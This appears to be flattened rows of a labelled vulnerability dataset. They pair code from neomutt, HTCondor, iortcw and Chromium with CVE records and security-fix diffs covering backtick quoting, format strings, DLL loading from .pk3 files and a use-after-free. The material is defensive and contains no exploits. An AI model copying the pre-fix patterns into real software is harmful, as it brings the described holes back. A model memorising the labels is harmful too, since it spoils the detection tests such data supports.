"https://api.github.com/repos/neomutt/neomutt/contents/imap/util.c?ref=e52393740334443ae0206cab2d7caef381646725", "patch": "@@ -798,9 +798,12 @@ void imap_qualify_path(char *dest, size_t len, struct ImapMbox *mx, char *path)\n *\n * Surround string with quotes, escape \" and \\ with backslash\n */\n-void imap_quote_string(char *dest, size_t dlen, const char *src)\n+void imap_quote_string(char *dest, size_t dlen, const char *src, bool quote_backtick)\n {\n- static const char quote[] = \"\\\"\\\\\";\n+ const char *quote = \"`\\\"\\\\\";\n+ if (!quote_backtick)\n+ quote++;\n+\n char *pt = dest;\n const char *s = src;\n \n@@ -874,7 +877,7 @@ void imap_munge_mbox_name(struct ImapData *idata, char *dest, size_t dlen, const\n char *buf = mutt_str_strdup(src);\n imap_utf_encode(idata, &buf);\n \n- imap_quote_string(dest, dlen, buf);\n+ imap_quote_string(dest, dlen, buf, false);\n \n FREE(&buf);\n }"}
|
int imap_fast_trash(struct Context *ctx, char *dest)
{
char mbox[LONG_STRING];
char mmbox[LONG_STRING];
char prompt[LONG_STRING];
int rc;
struct ImapMbox mx;
bool triedcreate = false;
struct Buffer *sync_cmd = NULL;
int err_continue = MUTT_NO;
struct ImapData *idata = ctx->data;
if (imap_parse_path(dest, &mx))
{
mutt_debug(1, "bad destination %s\n", dest);
return -1;
}
/* check that the save-to folder is in the same account */
if (mutt_account_match(&(idata->conn->account), &(mx.account)) == 0)
{
mutt_debug(3, "%s not same server as %s\n", dest, ctx->path);
return 1;
}
imap_fix_path(idata, mx.mbox, mbox, sizeof(mbox));
if (!*mbox)
mutt_str_strfcpy(mbox, "INBOX", sizeof(mbox));
imap_munge_mbox_name(idata, mmbox, sizeof(mmbox), mbox);
sync_cmd = mutt_buffer_new();
for (int i = 0; i < ctx->msgcount; i++)
{
if (ctx->hdrs[i]->active && ctx->hdrs[i]->changed &&
ctx->hdrs[i]->deleted && !ctx->hdrs[i]->purge)
{
rc = imap_sync_message_for_copy(idata, ctx->hdrs[i], sync_cmd, &err_continue);
if (rc < 0)
{
mutt_debug(1, "could not sync\n");
goto out;
}
}
}
/* loop in case of TRYCREATE */
do
{
rc = imap_exec_msgset(idata, "UID COPY", mmbox, MUTT_TRASH, 0, 0);
if (!rc)
{
mutt_debug(1, "No messages to trash\n");
rc = -1;
goto out;
}
else if (rc < 0)
{
mutt_debug(1, "could not queue copy\n");
goto out;
}
else
{
mutt_message(ngettext("Copying %d message to %s...", "Copying %d messages to %s...", rc),
rc, mbox);
}
/* let's get it on */
rc = imap_exec(idata, NULL, IMAP_CMD_FAIL_OK);
if (rc == -2)
{
if (triedcreate)
{
mutt_debug(1, "Already tried to create mailbox %s\n", mbox);
break;
}
/* bail out if command failed for reasons other than nonexistent target */
if (mutt_str_strncasecmp(imap_get_qualifier(idata->buf), "[TRYCREATE]", 11) != 0)
break;
mutt_debug(3, "server suggests TRYCREATE\n");
snprintf(prompt, sizeof(prompt), _("Create %s?"), mbox);
if (Confirmcreate && mutt_yesorno(prompt, 1) != MUTT_YES)
{
mutt_clear_error();
goto out;
}
if (imap_create_mailbox(idata, mbox) < 0)
break;
triedcreate = true;
}
} while (rc == -2);
if (rc != 0)
{
imap_error("imap_fast_trash", idata->buf);
goto out;
}
rc = 0;
out:
mutt_buffer_free(&sync_cmd);
FREE(&mx.mbox);
return (rc < 0) ? -1 : rc;
}
|
int imap_fast_trash(struct Context *ctx, char *dest)
{
char mbox[LONG_STRING];
char mmbox[LONG_STRING];
char prompt[LONG_STRING];
int rc;
struct ImapMbox mx;
bool triedcreate = false;
struct Buffer *sync_cmd = NULL;
int err_continue = MUTT_NO;
struct ImapData *idata = ctx->data;
if (imap_parse_path(dest, &mx))
{
mutt_debug(1, "bad destination %s\n", dest);
return -1;
}
/* check that the save-to folder is in the same account */
if (mutt_account_match(&(idata->conn->account), &(mx.account)) == 0)
{
mutt_debug(3, "%s not same server as %s\n", dest, ctx->path);
return 1;
}
imap_fix_path(idata, mx.mbox, mbox, sizeof(mbox));
if (!*mbox)
mutt_str_strfcpy(mbox, "INBOX", sizeof(mbox));
imap_munge_mbox_name(idata, mmbox, sizeof(mmbox), mbox);
sync_cmd = mutt_buffer_new();
for (int i = 0; i < ctx->msgcount; i++)
{
if (ctx->hdrs[i]->active && ctx->hdrs[i]->changed &&
ctx->hdrs[i]->deleted && !ctx->hdrs[i]->purge)
{
rc = imap_sync_message_for_copy(idata, ctx->hdrs[i], sync_cmd, &err_continue);
if (rc < 0)
{
mutt_debug(1, "could not sync\n");
goto out;
}
}
}
/* loop in case of TRYCREATE */
do
{
rc = imap_exec_msgset(idata, "UID COPY", mmbox, MUTT_TRASH, 0, 0);
if (!rc)
{
mutt_debug(1, "No messages to trash\n");
rc = -1;
goto out;
}
else if (rc < 0)
{
mutt_debug(1, "could not queue copy\n");
goto out;
}
else
{
mutt_message(ngettext("Copying %d message to %s...", "Copying %d messages to %s...", rc),
rc, mbox);
}
/* let's get it on */
rc = imap_exec(idata, NULL, IMAP_CMD_FAIL_OK);
if (rc == -2)
{
if (triedcreate)
{
mutt_debug(1, "Already tried to create mailbox %s\n", mbox);
break;
}
/* bail out if command failed for reasons other than nonexistent target */
if (mutt_str_strncasecmp(imap_get_qualifier(idata->buf), "[TRYCREATE]", 11) != 0)
break;
mutt_debug(3, "server suggests TRYCREATE\n");
snprintf(prompt, sizeof(prompt), _("Create %s?"), mbox);
if (Confirmcreate && mutt_yesorno(prompt, 1) != MUTT_YES)
{
mutt_clear_error();
goto out;
}
if (imap_create_mailbox(idata, mbox) < 0)
break;
triedcreate = true;
}
} while (rc == -2);
if (rc != 0)
{
imap_error("imap_fast_trash", idata->buf);
goto out;
}
rc = 0;
out:
mutt_buffer_free(&sync_cmd);
FREE(&mx.mbox);
return (rc < 0) ? -1 : rc;
}
|
C
| null | null | null |
@@ -464,25 +464,25 @@ static int compile_search(struct Context *ctx, const struct Pattern *pat, struct
return -1;
}
*delim = '\0';
- imap_quote_string(term, sizeof(term), pat->p.str);
+ imap_quote_string(term, sizeof(term), pat->p.str, false);
mutt_buffer_addstr(buf, term);
mutt_buffer_addch(buf, ' ');
/* and field */
*delim = ':';
delim++;
SKIPWS(delim);
- imap_quote_string(term, sizeof(term), delim);
+ imap_quote_string(term, sizeof(term), delim, false);
mutt_buffer_addstr(buf, term);
break;
case MUTT_BODY:
mutt_buffer_addstr(buf, "BODY ");
- imap_quote_string(term, sizeof(term), pat->p.str);
+ imap_quote_string(term, sizeof(term), pat->p.str, false);
mutt_buffer_addstr(buf, term);
break;
case MUTT_WHOLE_MSG:
mutt_buffer_addstr(buf, "TEXT ");
- imap_quote_string(term, sizeof(term), pat->p.str);
+ imap_quote_string(term, sizeof(term), pat->p.str, false);
mutt_buffer_addstr(buf, term);
break;
case MUTT_SERVERSEARCH:
@@ -495,7 +495,7 @@ static int compile_search(struct Context *ctx, const struct Pattern *pat, struct
}
}
mutt_buffer_addstr(buf, "X-GM-RAW ");
- imap_quote_string(term, sizeof(term), pat->p.str);
+ imap_quote_string(term, sizeof(term), pat->p.str, false);
mutt_buffer_addstr(buf, term);
break;
}
|
neomutt
|
e52393740334443ae0206cab2d7caef381646725
|
9bfab35522301794483f8f9ed60820bdec9be59e
| 0
|
int imap_fast_trash(struct Context *ctx, char *dest)
{
char mbox[LONG_STRING];
char mmbox[LONG_STRING];
char prompt[LONG_STRING];
int rc;
struct ImapMbox mx;
bool triedcreate = false;
struct Buffer *sync_cmd = NULL;
int err_continue = MUTT_NO;
struct ImapData *idata = ctx->data;
if (imap_parse_path(dest, &mx))
{
mutt_debug(1, "bad destination %s\n", dest);
return -1;
}
/* check that the save-to folder is in the same account */
if (mutt_account_match(&(idata->conn->account), &(mx.account)) == 0)
{
mutt_debug(3, "%s not same server as %s\n", dest, ctx->path);
return 1;
}
imap_fix_path(idata, mx.mbox, mbox, sizeof(mbox));
if (!*mbox)
mutt_str_strfcpy(mbox, "INBOX", sizeof(mbox));
imap_munge_mbox_name(idata, mmbox, sizeof(mmbox), mbox);
sync_cmd = mutt_buffer_new();
for (int i = 0; i < ctx->msgcount; i++)
{
if (ctx->hdrs[i]->active && ctx->hdrs[i]->changed &&
ctx->hdrs[i]->deleted && !ctx->hdrs[i]->purge)
{
rc = imap_sync_message_for_copy(idata, ctx->hdrs[i], sync_cmd, &err_continue);
if (rc < 0)
{
mutt_debug(1, "could not sync\n");
goto out;
}
}
}
/* loop in case of TRYCREATE */
do
{
rc = imap_exec_msgset(idata, "UID COPY", mmbox, MUTT_TRASH, 0, 0);
if (!rc)
{
mutt_debug(1, "No messages to trash\n");
rc = -1;
goto out;
}
else if (rc < 0)
{
mutt_debug(1, "could not queue copy\n");
goto out;
}
else
{
mutt_message(ngettext("Copying %d message to %s...", "Copying %d messages to %s...", rc),
rc, mbox);
}
/* let's get it on */
rc = imap_exec(idata, NULL, IMAP_CMD_FAIL_OK);
if (rc == -2)
{
if (triedcreate)
{
mutt_debug(1, "Already tried to create mailbox %s\n", mbox);
break;
}
/* bail out if command failed for reasons other than nonexistent target */
if (mutt_str_strncasecmp(imap_get_qualifier(idata->buf), "[TRYCREATE]", 11) != 0)
break;
mutt_debug(3, "server suggests TRYCREATE\n");
snprintf(prompt, sizeof(prompt), _("Create %s?"), mbox);
if (Confirmcreate && mutt_yesorno(prompt, 1) != MUTT_YES)
{
mutt_clear_error();
goto out;
}
if (imap_create_mailbox(idata, mbox) < 0)
break;
triedcreate = true;
}
} while (rc == -2);
if (rc != 0)
{
imap_error("imap_fast_trash", idata->buf);
goto out;
}
rc = 0;
out:
mutt_buffer_free(&sync_cmd);
FREE(&mx.mbox);
return (rc < 0) ? -1 : rc;
}
|
16,240
| null |
Local
|
Not required
|
Partial
|
CVE-2011-4930
|
https://www.cvedetails.com/cve/CVE-2011-4930/
|
CWE-134
|
Medium
|
Partial
|
Partial
| null |
2014-02-10
| 4.4
|
Multiple format string vulnerabilities in Condor 7.2.0 through 7.6.4, and possibly certain 7.7.x versions, as used in Red Hat MRG Grid and possibly other products, allow local users to cause a denial of service (condor_schedd daemon and failure to launch jobs) and possibly execute arbitrary code via format string specifiers in (1) the reason for a hold for a job that uses an XML user log, (2) the filename of a file to be transferred, and possibly other unspecified vectors.
|
2014-02-10
|
DoS Exec Code
| 0
|
https://htcondor-git.cs.wisc.edu/?p=condor.git;a=commitdiff;h=5e5571d1a431eb3c61977b6dd6ec90186ef79867
|
5e5571d1a431eb3c61977b6dd6ec90186ef79867
| null | 0
| null | null |
GahpClient::~GahpClient()
{
clear_pending();
if ( normal_proxy != NULL ) {
server->UnregisterProxy( normal_proxy->proxy );
}
if ( deleg_proxy != NULL ) {
server->UnregisterProxy( deleg_proxy->proxy );
}
server->RemoveGahpClient();
}
|
GahpClient::~GahpClient()
{
clear_pending();
if ( normal_proxy != NULL ) {
server->UnregisterProxy( normal_proxy->proxy );
}
if ( deleg_proxy != NULL ) {
server->UnregisterProxy( deleg_proxy->proxy );
}
server->RemoveGahpClient();
}
|
CPP
| null | null |
9f2e09401a1a262e1b00ac3bf8cd3f0d79aa876c
|
@@ -321,10 +321,10 @@ GahpServer::Reaper(Service *,int pid,int status)
if ( dead_server ) {
sprintf_cat( buf, " unexpectedly" );
- EXCEPT( buf.c_str() );
+ EXCEPT( "%s", buf.c_str() );
} else {
sprintf_cat( buf, "\n" );
- dprintf( D_ALWAYS, buf.c_str() );
+ dprintf( D_ALWAYS, "%s", buf.c_str() );
}
}
|
htcondor
|
https://htcondor-git.cs.wisc.edu/?p=condor.git;a=blob;f=src/condor_gridmanager/gahp-client.cpp;h=8c6c3fd59255c36477bdcb561a2986bdb238f96e;hb=5e5571d1a431eb3c61977b6dd6ec90186ef79867
|
https://htcondor-git.cs.wisc.edu/?p=condor.git;a=blob;f=src/condor_gridmanager/gahp-client.cpp;h=2e83bb81610fc0412b176e650b8d31f8b657fa6e
| 0
|
GahpClient::~GahpClient()
{
// call clear_pending to remove this object from hash table,
// and deallocate any memory associated w/ a pending command.
clear_pending();
if ( normal_proxy != NULL ) {
server->UnregisterProxy( normal_proxy->proxy );
}
if ( deleg_proxy != NULL ) {
server->UnregisterProxy( deleg_proxy->proxy );
}
server->RemoveGahpClient();
// The GahpServer may have deleted itself in RemoveGahpClient().
// Don't refer to it below here!
}
|
95,870
| null |
Remote
|
Not required
|
Complete
|
CVE-2017-6903
|
https://www.cvedetails.com/cve/CVE-2017-6903/
|
CWE-269
|
Medium
|
Complete
|
Complete
| null |
2017-03-14
| 9.3
|
In ioquake3 before 2017-03-14, the auto-downloading feature has insufficient content restrictions. This also affects Quake III Arena, OpenArena, OpenJK, iortcw, and other id Tech 3 (aka Quake 3 engine) forks. A malicious auto-downloaded file can trigger loading of crafted auto-downloaded files as native code DLLs. A malicious auto-downloaded file can contain configuration defaults that override the user's. Executable bytecode in a malicious auto-downloaded file can set configuration variables to values that will result in unwanted native code DLLs being loaded, resulting in sandbox escape.
|
2019-10-02
| null | 0
|
https://github.com/iortcw/iortcw/commit/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20
|
b6ff2bcb1e4e6976d61e316175c6d7c99860fe20
|
All: Don't load .pk3s as .dlls, and don't load user config files from .pk3s
| 0
|
MP/code/sys/sys_main.c
|
{"sha": "92675c53d7d8d4e2072a5423e471fb48daeec2c6", "filename": "MP/code/client/cl_main.c", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/iortcw/iortcw/blob/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/MP/code/client/cl_main.c", "raw_url": "https://github.com/iortcw/iortcw/raw/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/MP/code/client/cl_main.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/MP/code/client/cl_main.c?ref=b6ff2bcb1e4e6976d61e316175c6d7c99860fe20", "patch": "@@ -3674,7 +3674,7 @@ void CL_InitRef( void ) {\n \tCom_Printf( \"----- Initializing Renderer ----\\n\" );\n \n #ifdef USE_RENDERER_DLOPEN\n-\tcl_renderer = Cvar_Get(\"cl_renderer\", \"opengl1\", CVAR_ARCHIVE | CVAR_LATCH);\n+\tcl_renderer = Cvar_Get(\"cl_renderer\", \"opengl1\", CVAR_ARCHIVE | CVAR_LATCH | CVAR_PROTECTED);\n \n \tCom_sprintf(dllName, sizeof(dllName), \"renderer_mp_%s_\" ARCH_STRING DLL_EXT, cl_renderer->string);\n \n@@ -4014,7 +4014,7 @@ void CL_Init( void ) {\n \n \tcl_allowDownload = Cvar_Get( \"cl_allowDownload\", \"1\", CVAR_ARCHIVE );\n #ifdef USE_CURL_DLOPEN\n-\tcl_cURLLib = Cvar_Get(\"cl_cURLLib\", DEFAULT_CURL_LIB, CVAR_ARCHIVE);\n+\tcl_cURLLib = Cvar_Get(\"cl_cURLLib\", DEFAULT_CURL_LIB, CVAR_ARCHIVE | CVAR_PROTECTED);\n #endif\n \n \t// init autoswitch so the ui will have it correctly even"}<_**next**_>{"sha": "c262e6b62003d9fa427776ce44bfa958569ecd18", "filename": "MP/code/qcommon/files.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/iortcw/iortcw/blob/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/MP/code/qcommon/files.c", "raw_url": "https://github.com/iortcw/iortcw/raw/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/MP/code/qcommon/files.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/MP/code/qcommon/files.c?ref=b6ff2bcb1e4e6976d61e316175c6d7c99860fe20", "patch": "@@ -1424,12 +1424,18 @@ long FS_FOpenFileRead(const char *filename, fileHandle_t *file, qboolean uniqueF\n {\n \tsearchpath_t *search;\n \tlong len;\n+\tqboolean isLocalConfig;\n \n \tif(!fs_searchpaths)\n \t\tCom_Error(ERR_FATAL, \"Filesystem call made without initialization\");\n \n+\tisLocalConfig = !strcmp(filename, \"autoexec.cfg\") || !strcmp(filename, Q3CONFIG_CFG);\n \tfor(search = fs_searchpaths; search; search = search->next)\n \t{\n+\t\t// autoexec.cfg and wolfconfig_mp.cfg can only be loaded outside of pk3 files.\n+\t\tif (isLocalConfig && search->pack)\n+\t\t\tcontinue;\n+\n \t len = FS_FOpenFileReadDir(filename, search, file, uniqueFILE, qfalse);\n \t \n \t if(file == NULL)"}<_**next**_>{"sha": "f3dc2e91909d7f1f90227e2ba68dfa2e61a40485", "filename": "MP/code/sys/sys_main.c", "status": "modified", "additions": 7, "deletions": 0, "changes": 7, "blob_url": "https://github.com/iortcw/iortcw/blob/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/MP/code/sys/sys_main.c", "raw_url": "https://github.com/iortcw/iortcw/raw/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/MP/code/sys/sys_main.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/MP/code/sys/sys_main.c?ref=b6ff2bcb1e4e6976d61e316175c6d7c99860fe20", "patch": "@@ -499,6 +499,13 @@ from executable path, then fs_basepath.\n void *Sys_LoadDll(const char *name, qboolean useSystemLib)\n {\n \tvoid *dllhandle;\n+\n+\t// Don't load any DLLs that end with the pk3 extension\n+\tif (COM_CompareExtension(name, \".pk3\"))\n+\t{\n+\t\tCom_Printf(\"Rejecting DLL named \\\"%s\\\"\", name);\n+\t\treturn NULL;\n+\t}\n \t\n \tif(useSystemLib)\n \t\tCom_Printf(\"Trying to load \\\"%s\\\"...\\n\", name);"}<_**next**_>{"sha": "18c16aa973bb821e6972cf1da0c98c3007ddbfd6", "filename": "SP/code/client/cl_main.c", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/iortcw/iortcw/blob/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/SP/code/client/cl_main.c", "raw_url": "https://github.com/iortcw/iortcw/raw/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/SP/code/client/cl_main.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/SP/code/client/cl_main.c?ref=b6ff2bcb1e4e6976d61e316175c6d7c99860fe20", "patch": "@@ -3348,7 +3348,7 @@ void CL_InitRef( void ) {\n \tCom_Printf( \"----- Initializing Renderer ----\\n\" );\n \n #ifdef USE_RENDERER_DLOPEN\n-\tcl_renderer = Cvar_Get(\"cl_renderer\", \"opengl1\", CVAR_ARCHIVE | CVAR_LATCH);\n+\tcl_renderer = Cvar_Get(\"cl_renderer\", \"opengl1\", CVAR_ARCHIVE | CVAR_LATCH | CVAR_PROTECTED);\n \n \tCom_sprintf(dllName, sizeof(dllName), \"renderer_sp_%s_\" ARCH_STRING DLL_EXT, cl_renderer->string);\n \n@@ -3690,7 +3690,7 @@ void CL_Init( void ) {\n \n \tcl_allowDownload = Cvar_Get( \"cl_allowDownload\", \"0\", CVAR_ARCHIVE );\n #ifdef USE_CURL_DLOPEN\n-\tcl_cURLLib = Cvar_Get(\"cl_cURLLib\", DEFAULT_CURL_LIB, CVAR_ARCHIVE);\n+\tcl_cURLLib = Cvar_Get(\"cl_cURLLib\", DEFAULT_CURL_LIB, CVAR_ARCHIVE | CVAR_PROTECTED);\n #endif\n \n \t// init autoswitch so the ui will have it correctly even"}<_**next**_>{"sha": "15910bd5e96fec07e0fb331beba36879ea237545", "filename": "SP/code/qcommon/files.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/iortcw/iortcw/blob/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/SP/code/qcommon/files.c", "raw_url": "https://github.com/iortcw/iortcw/raw/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/SP/code/qcommon/files.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/SP/code/qcommon/files.c?ref=b6ff2bcb1e4e6976d61e316175c6d7c99860fe20", "patch": "@@ -1591,12 +1591,18 @@ long FS_FOpenFileRead(const char *filename, fileHandle_t *file, qboolean uniqueF\n {\n \tsearchpath_t *search;\n \tlong len;\n+\tqboolean isLocalConfig;\n \n \tif(!fs_searchpaths)\n \t\tCom_Error(ERR_FATAL, \"Filesystem call made without initialization\");\n \n+\tisLocalConfig = !strcmp(filename, \"autoexec.cfg\") || !strcmp(filename, Q3CONFIG_CFG);\n \tfor(search = fs_searchpaths; search; search = search->next)\n \t{\n+\t\t// autoexec.cfg and wolfconfig.cfg can only be loaded outside of pk3 files.\n+\t\tif (isLocalConfig && search->pack)\n+\t\t\tcontinue;\n+\n \t\tlen = FS_FOpenFileReadDir(filename, search, file, uniqueFILE, qfalse);\n \n \t\tif(file == NULL)"}<_**next**_>{"sha": "e591d9890c74ee974af303dae0be35f1236d5473", "filename": "SP/code/sys/sys_main.c", "status": "modified", "additions": 7, "deletions": 0, "changes": 7, "blob_url": "https://github.com/iortcw/iortcw/blob/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/SP/code/sys/sys_main.c", "raw_url": "https://github.com/iortcw/iortcw/raw/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20/SP/code/sys/sys_main.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/SP/code/sys/sys_main.c?ref=b6ff2bcb1e4e6976d61e316175c6d7c99860fe20", "patch": "@@ -499,6 +499,13 @@ from executable path, then fs_basepath.\n void *Sys_LoadDll(const char *name, qboolean useSystemLib)\n {\n \tvoid *dllhandle;\n+\n+\t// Don't load any DLLs that end with the pk3 extension\n+\tif (COM_CompareExtension(name, \".pk3\"))\n+\t{\n+\t\tCom_Printf(\"Rejecting DLL named \\\"%s\\\"\", name);\n+\t\treturn NULL;\n+\t}\n \t\n \tif(useSystemLib)\n \t\tCom_Printf(\"Trying to load \\\"%s\\\"...\\n\", name);"}
|
int main( int argc, char **argv )
{
int i;
char commandLine[ MAX_STRING_CHARS ] = { 0 };
#ifndef DEDICATED
# if !SDL_VERSION_ATLEAST(MINSDL_MAJOR,MINSDL_MINOR,MINSDL_PATCH)
# error A more recent version of SDL is required
# endif
SDL_version ver;
SDL_GetVersion( &ver );
#define MINSDL_VERSION \
XSTRING(MINSDL_MAJOR) "." \
XSTRING(MINSDL_MINOR) "." \
XSTRING(MINSDL_PATCH)
if( SDL_VERSIONNUM( ver.major, ver.minor, ver.patch ) <
SDL_VERSIONNUM( MINSDL_MAJOR, MINSDL_MINOR, MINSDL_PATCH ) )
{
Sys_Dialog( DT_ERROR, va( "SDL version " MINSDL_VERSION " or greater is required, "
"but only version %d.%d.%d was found. You may be able to obtain a more recent copy "
"from http://www.libsdl.org/.", ver.major, ver.minor, ver.patch ), "SDL Library Too Old" );
Sys_Exit( 1 );
}
#endif
Sys_PlatformInit( );
Sys_Milliseconds( );
#ifdef __APPLE__
if ( argc >= 2 && Q_strncmp ( argv[1], "-psn", 4 ) == 0 )
argc = 1;
#endif
Sys_ParseArgs( argc, argv );
Sys_SetBinaryPath( Sys_Dirname( argv[ 0 ] ) );
Sys_SetDefaultInstallPath( DEFAULT_BASEDIR );
for( i = 1; i < argc; i++ )
{
const qboolean containsSpaces = strchr(argv[i], ' ') != NULL;
if (containsSpaces)
Q_strcat( commandLine, sizeof( commandLine ), "\"" );
Q_strcat( commandLine, sizeof( commandLine ), argv[ i ] );
if (containsSpaces)
Q_strcat( commandLine, sizeof( commandLine ), "\"" );
Q_strcat( commandLine, sizeof( commandLine ), " " );
}
Com_Init( commandLine );
NET_Init( );
CON_Init( );
signal( SIGILL, Sys_SigHandler );
signal( SIGFPE, Sys_SigHandler );
signal( SIGSEGV, Sys_SigHandler );
signal( SIGTERM, Sys_SigHandler );
signal( SIGINT, Sys_SigHandler );
while( 1 )
{
IN_Frame( );
Com_Frame( );
}
return 0;
}
|
int main( int argc, char **argv )
{
int i;
char commandLine[ MAX_STRING_CHARS ] = { 0 };
#ifndef DEDICATED
# if !SDL_VERSION_ATLEAST(MINSDL_MAJOR,MINSDL_MINOR,MINSDL_PATCH)
# error A more recent version of SDL is required
# endif
SDL_version ver;
SDL_GetVersion( &ver );
#define MINSDL_VERSION \
XSTRING(MINSDL_MAJOR) "." \
XSTRING(MINSDL_MINOR) "." \
XSTRING(MINSDL_PATCH)
if( SDL_VERSIONNUM( ver.major, ver.minor, ver.patch ) <
SDL_VERSIONNUM( MINSDL_MAJOR, MINSDL_MINOR, MINSDL_PATCH ) )
{
Sys_Dialog( DT_ERROR, va( "SDL version " MINSDL_VERSION " or greater is required, "
"but only version %d.%d.%d was found. You may be able to obtain a more recent copy "
"from http://www.libsdl.org/.", ver.major, ver.minor, ver.patch ), "SDL Library Too Old" );
Sys_Exit( 1 );
}
#endif
Sys_PlatformInit( );
Sys_Milliseconds( );
#ifdef __APPLE__
if ( argc >= 2 && Q_strncmp ( argv[1], "-psn", 4 ) == 0 )
argc = 1;
#endif
Sys_ParseArgs( argc, argv );
Sys_SetBinaryPath( Sys_Dirname( argv[ 0 ] ) );
Sys_SetDefaultInstallPath( DEFAULT_BASEDIR );
for( i = 1; i < argc; i++ )
{
const qboolean containsSpaces = strchr(argv[i], ' ') != NULL;
if (containsSpaces)
Q_strcat( commandLine, sizeof( commandLine ), "\"" );
Q_strcat( commandLine, sizeof( commandLine ), argv[ i ] );
if (containsSpaces)
Q_strcat( commandLine, sizeof( commandLine ), "\"" );
Q_strcat( commandLine, sizeof( commandLine ), " " );
}
Com_Init( commandLine );
NET_Init( );
CON_Init( );
signal( SIGILL, Sys_SigHandler );
signal( SIGFPE, Sys_SigHandler );
signal( SIGSEGV, Sys_SigHandler );
signal( SIGTERM, Sys_SigHandler );
signal( SIGINT, Sys_SigHandler );
while( 1 )
{
IN_Frame( );
Com_Frame( );
}
return 0;
}
|
C
| null | null | null |
@@ -499,6 +499,13 @@ from executable path, then fs_basepath.
void *Sys_LoadDll(const char *name, qboolean useSystemLib)
{
void *dllhandle;
+
+ // Don't load any DLLs that end with the pk3 extension
+ if (COM_CompareExtension(name, ".pk3"))
+ {
+ Com_Printf("Rejecting DLL named \"%s\"", name);
+ return NULL;
+ }
if(useSystemLib)
Com_Printf("Trying to load \"%s\"...\n", name);
|
OpenJK
|
b6ff2bcb1e4e6976d61e316175c6d7c99860fe20
|
1efb19a25feace6de9b103fa3fe334fa1901b495
| 0
|
int main( int argc, char **argv )
{
int i;
char commandLine[ MAX_STRING_CHARS ] = { 0 };
#ifndef DEDICATED
// SDL version check
// Compile time
# if !SDL_VERSION_ATLEAST(MINSDL_MAJOR,MINSDL_MINOR,MINSDL_PATCH)
# error A more recent version of SDL is required
# endif
// Run time
SDL_version ver;
SDL_GetVersion( &ver );
#define MINSDL_VERSION \
XSTRING(MINSDL_MAJOR) "." \
XSTRING(MINSDL_MINOR) "." \
XSTRING(MINSDL_PATCH)
if( SDL_VERSIONNUM( ver.major, ver.minor, ver.patch ) <
SDL_VERSIONNUM( MINSDL_MAJOR, MINSDL_MINOR, MINSDL_PATCH ) )
{
Sys_Dialog( DT_ERROR, va( "SDL version " MINSDL_VERSION " or greater is required, "
"but only version %d.%d.%d was found. You may be able to obtain a more recent copy "
"from http://www.libsdl.org/.", ver.major, ver.minor, ver.patch ), "SDL Library Too Old" );
Sys_Exit( 1 );
}
#endif
Sys_PlatformInit( );
// Set the initial time base
Sys_Milliseconds( );
#ifdef __APPLE__
// This is passed if we are launched by double-clicking
if ( argc >= 2 && Q_strncmp ( argv[1], "-psn", 4 ) == 0 )
argc = 1;
#endif
Sys_ParseArgs( argc, argv );
Sys_SetBinaryPath( Sys_Dirname( argv[ 0 ] ) );
Sys_SetDefaultInstallPath( DEFAULT_BASEDIR );
// Concatenate the command line for passing to Com_Init
for( i = 1; i < argc; i++ )
{
const qboolean containsSpaces = strchr(argv[i], ' ') != NULL;
if (containsSpaces)
Q_strcat( commandLine, sizeof( commandLine ), "\"" );
Q_strcat( commandLine, sizeof( commandLine ), argv[ i ] );
if (containsSpaces)
Q_strcat( commandLine, sizeof( commandLine ), "\"" );
Q_strcat( commandLine, sizeof( commandLine ), " " );
}
Com_Init( commandLine );
NET_Init( );
CON_Init( );
signal( SIGILL, Sys_SigHandler );
signal( SIGFPE, Sys_SigHandler );
signal( SIGSEGV, Sys_SigHandler );
signal( SIGTERM, Sys_SigHandler );
signal( SIGINT, Sys_SigHandler );
while( 1 )
{
IN_Frame( );
Com_Frame( );
}
return 0;
}
|
131,958
| null |
Remote
|
Not required
|
Partial
|
CVE-2014-1713
|
https://www.cvedetails.com/cve/CVE-2014-1713/
|
CWE-399
|
Low
|
Partial
|
Partial
| null |
2014-03-16
| 7.5
|
Use-after-free vulnerability in the AttributeSetter function in bindings/templates/attributes.cpp in the bindings in Blink, as used in Google Chrome before 33.0.1750.152 on OS X and Linux and before 33.0.1750.154 on Windows, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving the document.location value.
|
2017-01-06
|
DoS
| 0
|
https://github.com/chromium/chromium/commit/f85a87ec670ad0fce9d98d90c9a705b72a288154
|
f85a87ec670ad0fce9d98d90c9a705b72a288154
|
document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
| 0
|
third_party/WebKit/Source/bindings/tests/results/V8TestObjectPython.cpp
|
